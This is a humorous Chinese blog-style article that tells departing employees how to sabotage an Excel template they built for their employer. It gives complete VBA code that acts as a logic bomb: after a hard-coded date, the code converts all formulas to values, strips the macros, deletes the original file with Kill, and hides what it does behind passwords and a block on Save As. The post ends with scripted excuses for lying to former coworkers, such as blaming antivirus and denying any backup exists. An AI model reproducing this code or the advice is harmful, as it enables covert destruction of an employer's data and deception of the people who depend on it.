HI,大家好,我是星光。
有句俗话说,职场如战场,什么龌龊事都有。有的朋友在公司辛苦打拼,加班加点任劳任怨,工资不涨也就算了,还总是被给小鞋穿;临了辞职,也是遭遇各种小绊子,以至于一口恶气堵在胸口,大半年不愉快,非常影响夜生活质量——
于是有的朋友就问了,我辞职之前能不能把做的Excel模板删掉?我辛辛苦苦的劳动成果凭啥便宜那群白眼狼?
删模板?当着前公司领导和前同事的面删模板?当然是——不行的!善良如你绝无可能以如此绝决的方式撕破他们的脸;另外,为什么要删呢?给他们留个烂苹果固然很好,但吃苹果最可怕的并不是吃到烂苹果,而是一口下去咬到好几条毛毛虫——所以我隆重向你推荐这个方案:
在离职一个月后,让模板优雅的自动报废。
……
假设我们有一个模板,叫'摆摊吧!后浪',这是一份你辛苦良久,加班加点,整理业务逻辑、数据逻辑;编写函数,甚至VBA代码蛋生的劳动成果。
步骤1
制作说明表
打开模板工作簿,新建一张工作表,命名为说明表。在醒目位置敲下以下文字:
使用本模板必须启用宏
如有其它说明,可以根据自身需要,放肆补充。
步骤2
保护工作簿结构
将所有工作表隐藏,只保留说明表。
在【审阅】选项卡下,单击【保护工作簿】,保持【结构】复选框选中状态不变,输入保护密码。(金鱼同志,组织让我给你捎句话,这密码你需要记住几秒钟,别输入完转眼就忘却了)。
步骤3
编写定时自宫代码
'工作簿打开,取消工作表隐藏
Private Sub Workbook_Open()
Dim sht As Worksheet
On Error Resume Next
ThisWorkbook.Unprotect '111111'
For Each sht In Worksheets
sht.Visible = xlSheetVisible
Next
ThisWorkbook.Protect '111111', True
End Sub
'禁止文件另存为
Private Sub workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
Dim b As Long
If SaveAsUI = True Then
b = MsgBox('该工作簿不允许用“另存为”来保存,' & _
'你要用原工作簿名称来保存吗?', vbQuestion vbOKCancel)
Cancel = (b = vbCancel)
If Cancel = False Then Me.Save
Cancel = True
End If
End Sub
'保护工作簿结构,定时更新代码
Private Sub Workbook_BeforeClose(Cancel As Boolean)
Dim sht As Worksheet, dte As Date
Dim strname As String, strFullName As String
On Error Resume Next
With Application
.ScreenUpdating = False
.DisplayAlerts = False
.EnableEvents = False
End With
dte = VBA.DateSerial(2026, 6, 16) '代码维护更新时间
If dte < Date Then
For Each sht In Worksheets
sht.UsedRange.Value = sht.UsedRange.Value
Next
strname = Split(ThisWorkbook.Name, '.xls')(0)
Workbooks(strname & '.xlsx').Close True
strFullName = ThisWorkbook.FullName
ThisWorkbook.SaveAs ThisWorkbook.Path & '\' & strname, xlOpenXMLWorkbook
Kill strFullName
strFullName = ThisWorkbook.FullName
ThisWorkbook.SaveAs ThisWorkbook.Path & '\' & strname & '临时工', xlOpenXMLWorkbook
Workbooks.Open (strFullName)
ActiveWorkbook.SaveAs ThisWorkbook.Path & '\' & strname, xlOpenXMLWorkbookMacroEnabled
ActiveWorkbook.Close True
Kill strFullName
With ThisWorkbook
.Saved = True
.ChangeFileAccess xlReadOnly
Kill .FullName
.Close
End With
Else
For Each sht In Worksheets
If sht.Name <> '说明表' Then
sht.Visible = xlSheetVeryHidden
End If
Next
ThisWorkbook.Protect '111111', True
ThisWorkbook.Save
End If
With Application
.ScreenUpdating = True
.DisplayAlerts = True
.EnableEvents = True
End With
End Sub
dte = VBA.DateSerial(2026, 6, 16) '代码维护更新时间,可根据需要调整
步骤4
设置VBE保护密码
步骤5
更改文件类型
……
做完这些设置,到达指定时间后,该工作簿就会自动将所有的公式转换为数值,并自动删除所有VBA代码了。
模板报废后,你的前同事有可能会期期艾艾或者凶凶巴巴的联系你……
……
有装360吗?我当初编写的代码被你们用杀毒软件给杀死了吧?(360经典背锅侠)
确定没有操作错?模板对操作者的Excel水平要求很高的,如果是小白的话,有太多可能出问题了——这个我和你真说不清楚。
备份?没有备份。都离职1个多月了,东西早都扔垃圾桶了,备份文件做什么?就我那工资,备份文件值啥啊?……
不好意思,我都离职一个多月了,公司的业务逻辑都忘的差不多了,这我真帮不了你。你们当时也说我的工作很简单,做事不花时间,那你们重新做下模板,或者干脆不用模板不就得了?
……
联系客服